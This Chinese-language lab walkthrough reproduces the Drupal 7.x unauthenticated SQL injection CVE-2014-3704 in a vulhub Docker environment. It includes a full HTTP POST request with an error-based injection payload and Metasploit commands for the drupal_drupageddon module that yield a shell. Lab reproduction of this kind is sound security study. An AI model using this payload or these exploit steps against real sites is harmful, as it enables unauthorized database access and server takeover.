简介
Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。
漏洞环境
进入对应的路径: vulhub-master/drupal/CVE-2014-3704
执行如下命令启动Drupal 7.31环境:
docker-compose up -d
环境启动后,访问http://ip:8080
即可看到Drupal的安装页面,使用默认配置安装即可。
其中,Mysql数据库名填写drupal
,数据库用户名、密码为root
,地址为mysql
:
安装成功之后, 访问主页:
漏洞复现
该漏洞无需认证,发送如下数据包即可执行恶意SQL语句:
POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
name[0 or updatexml(0,concat(0xa,database()),0)%23]=bob&name[0]=a&pass=bug&form_build_id=form-hUM-lGJvIc5NEmlo46nu_0Z7cOfyfmk6BQjvIRD4goA&form_id=user_login_block
&op=Log in
报错注入成功。
msf工具利用
搜索drupal漏洞:
search drupal
查看漏洞信息:
show info exploit/multi/http/drupal_drupageddon
使用CVE-2014-3704对应的攻击模块:
use exploit/multi/http/drupal_drupageddon
设置Drupal网站路径:
set targeturi /
所定攻击的ip和端口:
set RHOSTS 192.168.10.10
set rport 8080
发动攻击, 拿到shell:
exploit